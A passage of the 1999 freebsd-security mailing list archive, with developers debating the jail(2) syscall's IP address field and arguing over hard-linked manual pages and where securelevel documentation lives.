From owner-freebsd-security Sun Sep 19 0:43:35 1999 Delivered-To: freebsd-security@freebsd.org Received: from implode.root.com (root.com [209.102.106.178]) by hub.freebsd.org (Postfix) with ESMTP id 6533E14CBB for ; Sun, 19 Sep 1999 00:43:30 -0700 (PDT) (envelope-from dg@implode.root.com) Received: from implode.root.com (localhost [127.0.0.1]) by implode.root.com (8.8.8/8.8.5) with ESMTP id AAA20828; Sun, 19 Sep 1999 00:39:55 -0700 (PDT) Message-Id: <199909190739.AAA20828@implode.root.com> To: Poul-Henning Kamp Cc: Matthew Dillon , "Rodney W. Grimes" , imp@village.org (Warner Losh), liam@tiora.net (Liam Slusser), kdrobnac@mission.mvnc.edu (Kenny Drobnack), Harry_M_Leitzell@cmu.edu (Harry M. Leitzell), security@FreeBSD.ORG Subject: Re: BPF on in 3.3-RC GENERIC kernel In-reply-to: Your message of "Sun, 19 Sep 1999 08:53:06 +0200." <14672.937723986@critter.freebsd.dk> From: David Greenman Reply-To: dg@root.com Date: Sun, 19 Sep 1999 00:39:55 -0700 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Would be nice if there was something there for compatilibity when this finally does occur, however. -DG David Greenman Co-founder/Principal Architect, The FreeBSD Project - http://www.freebsd.org Creator of high-performance Internet servers - http://www.terasolutions.com Pave the road of life with opportunities. >Final email from here: > >Matt, you have not done anything to show that changing the ip_number >field to a sockaddr will be enough to support IPv6 or any other >protocol in the future. Remember that IPv4 is a very simple >protocol, most others are not, in particular IPv6 it seems. > >I do not see a reason to change an interface which is already >deployed, and which have been so for more than 1.5 years, "just in >case it might be enough to support IPv6." > >I will therefore not make any changes to the jail(2) syscalls >arguments until such time as we know what arguments will actually >be needed for jail(2) under IPv6, or any other protocol for that >matter. > >Poul-Henning > >In message <199909190634.XAA68995@apollo.backplane.com>, Matthew Dillon writes: >> >>:You have not proved or even shown that changing this particular >>:element will be enough to guarantee that we can support other >>:protocols in the future. >>: >>:The only thing that can be done to the jail(2) syscall to improve >>:it in that respect is to add a version number as the first element, >>:I would have no problem with that. >>: >>:-- >>:Poul-Henning Kamp FreeBSD coreteam member >> >> Well, I see it quite differently. I believe I have given ample >> justification for asking that the system call be cleaned up before it >> is exposed to wider use. You're making a blanket comments saying >> "Matt hasn't proved..." and not even trying to address the issues >> brought up doesn't really pull any weight with me. Try addressing >> the issues that were brought up instead. >> >> -Matt >> Matthew Dillon >> >> >> >>To Unsubscribe: send mail to majordomo@FreeBSD.org >>with "unsubscribe freebsd-security" in the body of the message >> > >-- >Poul-Henning Kamp FreeBSD coreteam member >phk@FreeBSD.ORG "Real hackers run -current on their laptop." >FreeBSD -- It will take a long time before progress goes too far! > > >To Unsubscribe: send mail to majordomo@FreeBSD.org >with "unsubscribe freebsd-security" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Sep 19 0:48:23 1999 Delivered-To: freebsd-security@freebsd.org Received: from critter.freebsd.dk (critter.freebsd.dk [212.242.40.131]) by hub.freebsd.org (Postfix) with ESMTP id 5543E1567F for ; Sun, 19 Sep 1999 00:48:11 -0700 (PDT) (envelope-from phk@critter.freebsd.dk) Received: from critter.freebsd.dk (localhost [127.0.0.1]) by critter.freebsd.dk (8.9.3/8.9.2) with ESMTP id JAA14958; Sun, 19 Sep 1999 09:44:20 +0200 (CEST) (envelope-from phk@critter.freebsd.dk) To: dg@root.com Cc: Matthew Dillon , "Rodney W. Grimes" , imp@village.org (Warner Losh), liam@tiora.net (Liam Slusser), kdrobnac@mission.mvnc.edu (Kenny Drobnack), Harry_M_Leitzell@cmu.edu (Harry M. Leitzell), security@FreeBSD.ORG Subject: Re: BPF on in 3.3-RC GENERIC kernel In-reply-to: Your message of "Sun, 19 Sep 1999 00:39:55 PDT." <199909190739.AAA20828@implode.root.com> Date: Sun, 19 Sep 1999 09:44:20 +0200 Message-ID: <14956.937727060@critter.freebsd.dk> From: Poul-Henning Kamp Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org As I said I'm willing to add a version number field. In message <199909190739.AAA20828@implode.root.com>, David Greenman writes: > Would be nice if there was something there for compatilibity when this >finally does occur, however. > >-DG > >David Greenman >Co-founder/Principal Architect, The FreeBSD Project - http://www.freebsd.org >Creator of high-performance Internet servers - http://www.terasolutions.com >Pave the road of life with opportunities. > >>Final email from here: >> >>Matt, you have not done anything to show that changing the ip_number >>field to a sockaddr will be enough to support IPv6 or any other >>protocol in the future. Remember that IPv4 is a very simple >>protocol, most others are not, in particular IPv6 it seems. >> >>I do not see a reason to change an interface which is already >>deployed, and which have been so for more than 1.5 years, "just in >>case it might be enough to support IPv6." >> >>I will therefore not make any changes to the jail(2) syscalls >>arguments until such time as we know what arguments will actually >>be needed for jail(2) under IPv6, or any other protocol for that >>matter. >> >>Poul-Henning >> >>In message <199909190634.XAA68995@apollo.backplane.com>, Matthew Dillon writes: >>> >>>:You have not proved or even shown that changing this particular >>>:element will be enough to guarantee that we can support other >>>:protocols in the future. >>>: >>>:The only thing that can be done to the jail(2) syscall to improve >>>:it in that respect is to add a version number as the first element, >>>:I would have no problem with that. >>>: >>>:-- >>>:Poul-Henning Kamp FreeBSD coreteam member >>> >>> Well, I see it quite differently. I believe I have given ample >>> justification for asking that the system call be cleaned up before it >>> is exposed to wider use. You're making a blanket comments saying >>> "Matt hasn't proved..." and not even trying to address the issues >>> brought up doesn't really pull any weight with me. Try addressing >>> the issues that were brought up instead. >>> >>> -Matt >>> Matthew Dillon >>> >>> >>> >>>To Unsubscribe: send mail to majordomo@FreeBSD.org >>>with "unsubscribe freebsd-security" in the body of the message >>> >> >>-- >>Poul-Henning Kamp FreeBSD coreteam member >>phk@FreeBSD.ORG "Real hackers run -current on their laptop." >>FreeBSD -- It will take a long time before progress goes too far! >> >> >>To Unsubscribe: send mail to majordomo@FreeBSD.org >>with "unsubscribe freebsd-security" in the body of the message > -- Poul-Henning Kamp FreeBSD coreteam member phk@FreeBSD.ORG "Real hackers run -current on their laptop." FreeBSD -- It will take a long time before progress goes too far! To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Sep 19 8: 6:52 1999 Delivered-To: freebsd-security@freebsd.org Received: from lariat.lariat.org (lariat.lariat.org [206.100.185.2]) by hub.freebsd.org (Postfix) with ESMTP id 3865315131; Sun, 19 Sep 1999 08:06:48 -0700 (PDT) (envelope-from brett@lariat.org) Received: from mustang (IDENT:ppp0.lariat.org@lariat.lariat.org [206.100.185.2]) by lariat.lariat.org (8.9.3/8.9.3) with ESMTP id JAA02133; Sun, 19 Sep 1999 09:06:13 -0600 (MDT) Message-Id: <4.2.0.58.19990919085106.047a5ce0@localhost> X-Sender: brett@localhost X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58 Date: Sun, 19 Sep 1999 09:06:06 -0600 To: Matthew Dillon , Wes Peters From: Brett Glass Subject: Documentation of security features Cc: Greg Lewis , Evren Yurtesen , freebsd-security@FreeBSD.ORG, Nik Clayton In-Reply-To: <199909190554.WAA68663@apollo.backplane.com> References: <37E21A0A.1075F204@ispro.net.tr> <4.2.0.58.19990917092237.044f3f00@localhost> <37E2C9B0.BD5846BB@softweyr.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org At 10:54 PM 9/18/99 -0700, Matthew Dillon wrote: > I did a quick look at 'makewhatis' but did not see any specific way > to be able to embed keywords in a manual page outside the NAME section. You should see the way it's done for shell commands such as "fg"! The *entire man page* is copied into another one with the name of the command; that is, fg.1.gz is a copy of csh.1.gz! Very wasteful. Worse still, on one of my systems that's been upgraded several times (and is currently at 2.2.8 plus patches), the "fg" copy has gotten out of sync with the "csh" copy; that is to say, they have different dates. bg.1.gz is ANOTHER copy of the csh page. And so are limit.1.gz, popd.1.gz, etc. We are talking megabytes of waste here. Both problems (i.e. documenting more things and saving space) can be solved at once by making use of hard links. I'd be glad to submit a PR, but since it involves changing STRUCTURE as well as the text of things, only a committer could actually implement it. Once it's done, though, securelevel.7.fg could be a hard link to security.7.gz or init.8.gz, and we'd save both space and effort. --Brett > Certainly the manual reference 'SEE ALSO' section can be used to link > multiple manual pages together if someone actually decides to write > a 'securelevel' manual page, but barring that we are pretty much S.O.L. > unless someone makes an addition to the (GNU) 'makewhatis'. > > -Matt > Matthew Dillon > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Sep 19 8:13:16 1999 Delivered-To: freebsd-security@freebsd.org Received: from rucus.ru.ac.za (rucus.ru.ac.za [146.231.29.2]) by hub.freebsd.org (Postfix) with SMTP id BDEDE151D2 for ; Sun, 19 Sep 1999 08:13:09 -0700 (PDT) (envelope-from nbm@rucus.ru.ac.za) Received: (qmail 71388 invoked by uid 1003); 19 Sep 1999 15:15:02 -0000 Date: Sun, 19 Sep 1999 17:15:02 +0200 From: Neil Blakey-Milner To: Brett Glass Cc: Matthew Dillon , freebsd-security@FreeBSD.ORG, Nik Clayton Subject: Re: Documentation of security features Message-ID: <19990919171502.A70876@rucus.ru.ac.za> References: <37E21A0A.1075F204@ispro.net.tr> <4.2.0.58.19990917092237.044f3f00@localhost> <37E2C9B0.BD5846BB@softweyr.com> <199909190554.WAA68663@apollo.backplane.com> <4.2.0.58.19990919085106.047a5ce0@localhost> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0pre2i In-Reply-To: <4.2.0.58.19990919085106.047a5ce0@localhost> Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Sun 1999-09-19 (09:06), Brett Glass wrote: > bg.1.gz is ANOTHER copy of the csh page. And so are limit.1.gz, popd.1.gz, > etc. We are talking megabytes of waste here. > > Both problems (i.e. documenting more things and saving space) can be solved > at once by making use of hard links. I'd be glad to submit a PR, but since it > involves changing STRUCTURE as well as the text of things, only a committer > could actually implement it. I don't know what your problem is, but: (nbm@mithrandr) /usr/share/man/man1> /bin/ls -li bg.1.gz fg.1.gz csh.1.gz 439544 -r--r--r-- 16 root wheel 23414 Sep 3 18:05 bg.1.gz 439544 -r--r--r-- 16 root wheel 23414 Sep 3 18:05 csh.1.gz 439544 -r--r--r-- 16 root wheel 23414 Sep 3 18:05 fg.1.gz Neil -- Neil Blakey-Milner nbm@rucus.ru.ac.za To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Sep 19 8:58:48 1999 Delivered-To: freebsd-security@freebsd.org Received: from khavrinen.lcs.mit.edu (khavrinen.lcs.mit.edu [18.24.4.193]) by hub.freebsd.org (Postfix) with ESMTP id 82F8414A2E for ; Sun, 19 Sep 1999 08:58:46 -0700 (PDT) (envelope-from wollman@khavrinen.lcs.mit.edu) Received: (from wollman@localhost) by khavrinen.lcs.mit.edu (8.9.3/8.9.3) id LAA64750; Sun, 19 Sep 1999 11:58:39 -0400 (EDT) (envelope-from wollman) Date: Sun, 19 Sep 1999 11:58:39 -0400 (EDT) From: Garrett Wollman Message-Id: <199909191558.LAA64750@khavrinen.lcs.mit.edu> To: Matthew Dillon Cc: Poul-Henning Kamp , security@FreeBSD.ORG Subject: Re: BPF on in 3.3-RC GENERIC kernel In-Reply-To: <199909190551.WAA68627@apollo.backplane.com> References: <12516.937680952@critter.freebsd.dk> <199909190551.WAA68627@apollo.backplane.com> Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org < said: > struct sockaddr is the standard for specifying an IP address. Jail > isn't using it, not even for IPV4. It's using an unsigned 32 bit int. > Hell, it isn't even using a struct in_addr! The field is plain and > simply inappropriately specified in the structure. For once, I agree with Matt. As titular networking czar, I'm asking you, Poul, to please fix the interface. -GAWollman -- Garrett A. Wollman | O Siem / We are all family / O Siem / We're all the same wollman@lcs.mit.edu | O Siem / The fires of freedom Opinions not those of| Dance in the burning flame MIT, LCS, CRS, or NSA| - Susan Aglukark and Chad Irschick To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Sep 19 9:57:36 1999 Delivered-To: freebsd-security@freebsd.org Received: from lariat.lariat.org (lariat.lariat.org [206.100.185.2]) by hub.freebsd.org (Postfix) with ESMTP id 969CD14A1B; Sun, 19 Sep 1999 09:57:33 -0700 (PDT) (envelope-from brett@lariat.org) Received: from mustang (IDENT:ppp0.lariat.org@lariat.lariat.org [206.100.185.2]) by lariat.lariat.org (8.9.3/8.9.3) with ESMTP id KAA02996; Sun, 19 Sep 1999 10:57:19 -0600 (MDT) Message-Id: <4.2.0.58.19990919105514.047abd90@localhost> X-Sender: brett@localhost X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58 Date: Sun, 19 Sep 1999 10:57:10 -0600 To: Neil Blakey-Milner From: Brett Glass Subject: Re: Documentation of security features Cc: Matthew Dillon , freebsd-security@FreeBSD.ORG, Nik Clayton In-Reply-To: <19990919171502.A70876@rucus.ru.ac.za> References: <4.2.0.58.19990919085106.047a5ce0@localhost> <37E21A0A.1075F204@ispro.net.tr> <4.2.0.58.19990917092237.044f3f00@localhost> <37E2C9B0.BD5846BB@softweyr.com> <199909190554.WAA68663@apollo.backplane.com> <4.2.0.58.19990919085106.047a5ce0@localhost> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org At 05:15 PM 9/19/99 +0200, Neil Blakey-Milner wrote: >I don't know what your problem is, but: > >(nbm@mithrandr) /usr/share/man/man1> /bin/ls -li bg.1.gz fg.1.gz csh.1.gz >439544 -r--r--r-- 16 root wheel 23414 Sep 3 18:05 bg.1.gz >439544 -r--r--r-- 16 root wheel 23414 Sep 3 18:05 csh.1.gz >439544 -r--r--r-- 16 root wheel 23414 Sep 3 18:05 fg.1.gz Looks as if your system is freshly installed and very recent. Here are the results from that 2.2.8 system: giant: {25} ls -li bg.1.gz fg.1.gz csh.1.gz ls: bg.1.gz: No such file or directory 102728 -rw-r--r-- 1 man bin 24620 Aug 30 1998 csh.1.gz 102909 -rw-r--r-- 1 man bin 24620 Sep 17 11:00 fg.1.gz --Brett To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Sep 19 10:27:59 1999 Delivered-To: freebsd-security@freebsd.org Received: from forced.attrition.org (attrition.org [198.77.217.13]) by hub.freebsd.org (Postfix) with ESMTP id 0A6D414CD4; Sun, 19 Sep 1999 10:27:56 -0700 (PDT) (envelope-from jobe@attrition.org) Received: from localhost (jobe@localhost) by forced.attrition.org (8.9.3/0.0.1.beta.nospam) with SMTP id KAA19135; Sun, 19 Sep 1999 10:31:08 -0600 Date: Sun, 19 Sep 1999 10:31:08 -0600 (MDT) From: Jobe To: Brett Glass Cc: Neil Blakey-Milner , Matthew Dillon , freebsd-security@FreeBSD.ORG, Nik Clayton Subject: Re: Documentation of security features In-Reply-To: <4.2.0.58.19990919105514.047abd90@localhost> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org These files are 23k, are there really enough of them to take up 'Megs of Space'? People need to start posting more meaningful things, and stop inventing reasons to post to this mailing list. --Jobe On Sun, 19 Sep 1999, Brett Glass wrote: > At 05:15 PM 9/19/99 +0200, Neil Blakey-Milner wrote: > > >I don't know what your problem is, but: > > > >(nbm@mithrandr) /usr/share/man/man1> /bin/ls -li bg.1.gz fg.1.gz csh.1.gz > >439544 -r--r--r-- 16 root wheel 23414 Sep 3 18:05 bg.1.gz > >439544 -r--r--r-- 16 root wheel 23414 Sep 3 18:05 csh.1.gz > >439544 -r--r--r-- 16 root wheel 23414 Sep 3 18:05 fg.1.gz > > Looks as if your system is freshly installed and very recent. Here are > the results from that 2.2.8 system: > > giant: {25} ls -li bg.1.gz fg.1.gz csh.1.gz > ls: bg.1.gz: No such file or directory > 102728 -rw-r--r-- 1 man bin 24620 Aug 30 1998 csh.1.gz > 102909 -rw-r--r-- 1 man bin 24620 Sep 17 11:00 fg.1.gz > > --Brett > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-security" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Sep 19 10:31:12 1999 Delivered-To: freebsd-security@freebsd.org Received: from lariat.lariat.org (lariat.lariat.org [206.100.185.2]) by hub.freebsd.org (Postfix) with ESMTP id 94D6F14C9B; Sun, 19 Sep 1999 10:31:09 -0700 (PDT) (envelope-from brett@lariat.org) Received: from mustang (IDENT:ppp0.lariat.org@lariat.lariat.org [206.100.185.2]) by lariat.lariat.org (8.9.3/8.9.3) with ESMTP id LAA03306; Sun, 19 Sep 1999 11:30:54 -0600 (MDT) Message-Id: <4.2.0.58.19990919112902.0479f380@localhost> X-Sender: brett@localhost X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58 Date: Sun, 19 Sep 1999 11:30:41 -0600 To: Jobe From: Brett Glass Subject: Re: Documentation of security features Cc: Neil Blakey-Milner , Matthew Dillon , freebsd-security@FreeBSD.ORG, Nik Clayton In-Reply-To: References: <4.2.0.58.19990919105514.047abd90@localhost> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org At 10:31 AM 9/19/99 -0600, Jobe wrote: >These files are 23k, are there really enough of them to take up 'Megs of >Space'? If it's done for every shell command, it'll take up a LOT of room. >People need to start posting more meaningful things, and stop >inventing reasons to post to this mailing list. Documenting key security options is meaningful, IMHO. If nothing else, we should add links for securelevel and similar things that users are not finding. --Brett To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Sep 19 10:31:46 1999 Delivered-To: freebsd-security@freebsd.org Received: from overcee.netplex.com.au (overcee.netplex.com.au [202.12.86.7]) by hub.freebsd.org (Postfix) with ESMTP id 896AA151FA; Sun, 19 Sep 1999 10:31:37 -0700 (PDT) (envelope-from peter@netplex.com.au) Received: from netplex.com.au (localhost [127.0.0.1]) by overcee.netplex.com.au (Postfix) with ESMTP id B9A061CA7; Mon, 20 Sep 1999 01:31:36 +0800 (WST) (envelope-from peter@netplex.com.au) X-Mailer: exmh version 2.0.2 2/24/98 To: Brett Glass Cc: Neil Blakey-Milner , Matthew Dillon , freebsd-security@FreeBSD.ORG, Nik Clayton Subject: Re: Documentation of security features In-reply-to: Your message of "Sun, 19 Sep 1999 10:57:10 CST." <4.2.0.58.19990919105514.047abd90@localhost> Date: Mon, 20 Sep 1999 01:31:36 +0800 From: Peter Wemm Message-Id: <19990919173136.B9A061CA7@overcee.netplex.com.au> Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Brett Glass wrote: > At 05:15 PM 9/19/99 +0200, Neil Blakey-Milner wrote: > > >I don't know what your problem is, but: > > > >(nbm@mithrandr) /usr/share/man/man1> /bin/ls -li bg.1.gz fg.1.gz csh.1.gz > >439544 -r--r--r-- 16 root wheel 23414 Sep 3 18:05 bg.1.gz > >439544 -r--r--r-- 16 root wheel 23414 Sep 3 18:05 csh.1.gz > >439544 -r--r--r-- 16 root wheel 23414 Sep 3 18:05 fg.1.gz > > Looks as if your system is freshly installed and very recent. Here are > the results from that 2.2.8 system: > > giant: {25} ls -li bg.1.gz fg.1.gz csh.1.gz > ls: bg.1.gz: No such file or directory > 102728 -rw-r--r-- 1 man bin 24620 Aug 30 1998 csh.1.gz > 102909 -rw-r--r-- 1 man bin 24620 Sep 17 11:00 fg.1.gz > > --Brett Well, I have a similar vintage machine. I don't know what you've done to mess yours up. FreeBSD 2.2.8-STABLE FreeBSD 2.2.8-STABLE #79: Thu Dec 24 16:42:10 WST 1998 [1:26am]/usr/share/man/man1-101> /bin/ls -li bg.1.gz fg.1.gz csh.1.gz 39513 -r--r--r-- 16 bin bin 23334 Aug 21 1998 bg.1.gz 39513 -r--r--r-- 16 bin bin 23334 Aug 21 1998 csh.1.gz 39513 -r--r--r-- 16 bin bin 23334 Aug 21 1998 fg.1.gz -Peter To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Sep 19 10:37:56 1999 Delivered-To: freebsd-security@freebsd.org Received: from lariat.lariat.org (lariat.lariat.org [206.100.185.2]) by hub.freebsd.org (Postfix) with ESMTP id 5A61814CD4; Sun, 19 Sep 1999 10:37:53 -0700 (PDT) (envelope-from brett@lariat.org) Received: from mustang (IDENT:ppp0.lariat.org@lariat.lariat.org [206.100.185.2]) by lariat.lariat.org (8.9.3/8.9.3) with ESMTP id LAA03365; Sun, 19 Sep 1999 11:35:07 -0600 (MDT) Message-Id: <4.2.0.58.19990919113431.04600ba0@localhost> X-Sender: brett@localhost X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58 Date: Sun, 19 Sep 1999 11:34:58 -0600 To: Peter Wemm From: Brett Glass Subject: Re: Documentation of security features Cc: Neil Blakey-Milner , Matthew Dillon , freebsd-security@FreeBSD.ORG, Nik Clayton In-Reply-To: <19990919173136.B9A061CA7@overcee.netplex.com.au> References: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org At 01:31 AM 9/20/99 +0800, Peter Wemm wrote: >Well, I have a similar vintage machine. I don't know what you've done >to mess yours up. Upgrade? ;-) --Brett To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Sep 19 10:41:19 1999 Delivered-To: freebsd-security@freebsd.org Received: from forced.attrition.org (attrition.org [198.77.217.13]) by hub.freebsd.org (Postfix) with ESMTP id 83480151B2; Sun, 19 Sep 1999 10:41:14 -0700 (PDT) (envelope-from jobe@attrition.org) Received: from localhost (jobe@localhost) by forced.attrition.org (8.9.3/0.0.1.beta.nospam) with SMTP id KAA19304; Sun, 19 Sep 1999 10:44:53 -0600 Date: Sun, 19 Sep 1999 10:44:53 -0600 (MDT) From: Jobe To: Brett Glass Cc: Neil Blakey-Milner , Matthew Dillon , freebsd-security@FreeBSD.ORG, Nik Clayton Subject: Re: Documentation of security features In-Reply-To: <4.2.0.58.19990919112902.0479f380@localhost> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Sun, 19 Sep 1999, Brett Glass wrote: > At 10:31 AM 9/19/99 -0600, Jobe wrote: > > >These files are 23k, are there really enough of them to take up 'Megs of > >Space'? > > If it's done for every shell command, it'll take up a LOT of room. Is it though? > > >People need to start posting more meaningful things, and stop > >inventing reasons to post to this mailing list. > > Documenting key security options is meaningful, IMHO. If nothing > else, we should add links for securelevel and similar things that > users are not finding. So enlighten me, what 'key security' options do the size of the documented man pages define? Is there some obscure denial of service attack related to the size of the man pages?!? And as for the links for securelevel and similar things, what the hell does this man page problem have to do with that? freebsd-security is hardly the place for these things. Your justfication for this post is completely unrelated and irrelevant to the post itself. Would you like to try for Double Jeopardy where the scores can really change? --Jobe > --Brett > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-security" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Sep 19 11:25:51 1999 Delivered-To: freebsd-security@freebsd.org Received: from gndrsh.dnsmgr.net (GndRsh.dnsmgr.net [198.145.92.4]) by hub.freebsd.org (Postfix) with ESMTP id 1AC3C15177; Sun, 19 Sep 1999 11:25:42 -0700 (PDT) (envelope-from freebsd@gndrsh.dnsmgr.net) Received: (from freebsd@localhost) by gndrsh.dnsmgr.net (8.9.3/8.9.3) id LAA55646; Sun, 19 Sep 1999 11:24:58 -0700 (PDT) (envelope-from freebsd) From: "Rodney W. Grimes" Message-Id: <199909191824.LAA55646@gndrsh.dnsmgr.net> Subject: Re: Documentation of security features In-Reply-To: <4.2.0.58.19990919112902.0479f380@localhost> from Brett Glass at "Sep 19, 1999 11:30:41 am" To: brett@lariat.org (Brett Glass) Date: Sun, 19 Sep 1999 11:24:57 -0700 (PDT) Cc: jobe@attrition.org (Jobe), nbm@mithrandr.moria.org (Neil Blakey-Milner), dillon@apollo.backplane.com (Matthew Dillon), freebsd-security@FreeBSD.ORG, nik@FreeBSD.ORG (Nik Clayton) X-Mailer: ELM [version 2.4ME+ PL54 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > At 10:31 AM 9/19/99 -0600, Jobe wrote: > > >These files are 23k, are there really enough of them to take up 'Megs of > >Space'? > > If it's done for every shell command, it'll take up a LOT of room. It has been done for every shell command, that was the new builtin(1) that was just recently commited. And from a quick look there are 78 of them, 78*23K is not a lot of space 1.8MB. But the bigger picture is that when you now say ``man fg'' you should get the new builtin(1) man page, which is far smaller (uncompressed: -r--r--r-- 1 root wheel 7195 Sep 19 11:18 builtin.1). This man page refers you to sh(1), or csh(1) for full details. This should greatly reduce the size of the clutter (562KBytes uncompressed). Now there is one more problem, and that is what I think is really going on here with the person reporting non-linked files. They are looking in /usr/share/man/cat* at the formatted cache, now that can grow as man(1)'s cache can't tell if the source files are hard linked and generates an individual formatted copy for each man entry, even if it already has it filed under another name. > > >People need to start posting more meaningful things, and stop > >inventing reasons to post to this mailing list. > > Documenting key security options is meaningful, IMHO. If nothing > else, we should add links for securelevel and similar things that > users are not finding. Then go make ptx(info) produce the full blown permuted index again and be done with it. That is the standard unix tool for finding just about everything about anything in the manual pages. It has been missing for far to long to ignore any longer!! -- Rod Grimes - KD7CAX - (RWG25) rgrimes@gndrsh.dnsmgr.net To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Sep 19 11:29:26 1999 Delivered-To: freebsd-security@freebsd.org Received: from gndrsh.dnsmgr.net (GndRsh.dnsmgr.net [198.145.92.4]) by hub.freebsd.org (Postfix) with ESMTP id 328581573B; Sun, 19 Sep 1999 11:29:17 -0700 (PDT) (envelope-from freebsd@gndrsh.dnsmgr.net) Received: (from freebsd@localhost) by gndrsh.dnsmgr.net (8.9.3/8.9.3) id LAA55659; Sun, 19 Sep 1999 11:26:09 -0700 (PDT) (envelope-from freebsd) From: "Rodney W. Grimes" Message-Id: <199909191826.LAA55659@gndrsh.dnsmgr.net> Subject: Re: Documentation of security features In-Reply-To: <19990919173136.B9A061CA7@overcee.netplex.com.au> from Peter Wemm at "Sep 20, 1999 01:31:36 am" To: peter@netplex.com.au (Peter Wemm) Date: Sun, 19 Sep 1999 11:26:09 -0700 (PDT) Cc: brett@lariat.org (Brett Glass), nbm@mithrandr.moria.org (Neil Blakey-Milner), dillon@apollo.backplane.com (Matthew Dillon), freebsd-security@FreeBSD.ORG, nik@FreeBSD.ORG (Nik Clayton) X-Mailer: ELM [version 2.4ME+ PL54 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > Brett Glass wrote: > > At 05:15 PM 9/19/99 +0200, Neil Blakey-Milner wrote: > > > > >I don't know what your problem is, but: > > > > > >(nbm@mithrandr) /usr/share/man/man1> /bin/ls -li bg.1.gz fg.1.gz csh.1.gz > > >439544 -r--r--r-- 16 root wheel 23414 Sep 3 18:05 bg.1.gz > > >439544 -r--r--r-- 16 root wheel 23414 Sep 3 18:05 csh.1.gz > > >439544 -r--r--r-- 16 root wheel 23414 Sep 3 18:05 fg.1.gz > > > > Looks as if your system is freshly installed and very recent. Here are > > the results from that 2.2.8 system: > > > > giant: {25} ls -li bg.1.gz fg.1.gz csh.1.gz A pwd right here would probably tell us just what this person has ``done wrong''. I'll bet you they are looking in /usr/share/man/cat1, not /usr/share/man/man1. > > ls: bg.1.gz: No such file or directory > > 102728 -rw-r--r-- 1 man bin 24620 Aug 30 1998 csh.1.gz > > 102909 -rw-r--r-- 1 man bin 24620 Sep 17 11:00 fg.1.gz > > > > --Brett > > Well, I have a similar vintage machine. I don't know what you've done > to mess yours up. Not messed up, user is lost in the wrong place... > FreeBSD 2.2.8-STABLE FreeBSD 2.2.8-STABLE #79: Thu Dec 24 16:42:10 WST 1998 > > [1:26am]/usr/share/man/man1-101> /bin/ls -li bg.1.gz fg.1.gz csh.1.gz > 39513 -r--r--r-- 16 bin bin 23334 Aug 21 1998 bg.1.gz > 39513 -r--r--r-- 16 bin bin 23334 Aug 21 1998 csh.1.gz > 39513 -r--r--r-- 16 bin bin 23334 Aug 21 1998 fg.1.gz > -- Rod Grimes - KD7CAX - (RWG25) rgrimes@gndrsh.dnsmgr.net To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Sep 19 12: 4:41 1999 Delivered-To: freebsd-security@freebsd.org Received: from pinhead.parag.codegen.com (207-44-235-154.CodeGen.COM [207.44.235.154]) by hub.freebsd.org (Postfix) with ESMTP id 527BD14D2D; Sun, 19 Sep 1999 12:04:38 -0700 (PDT) 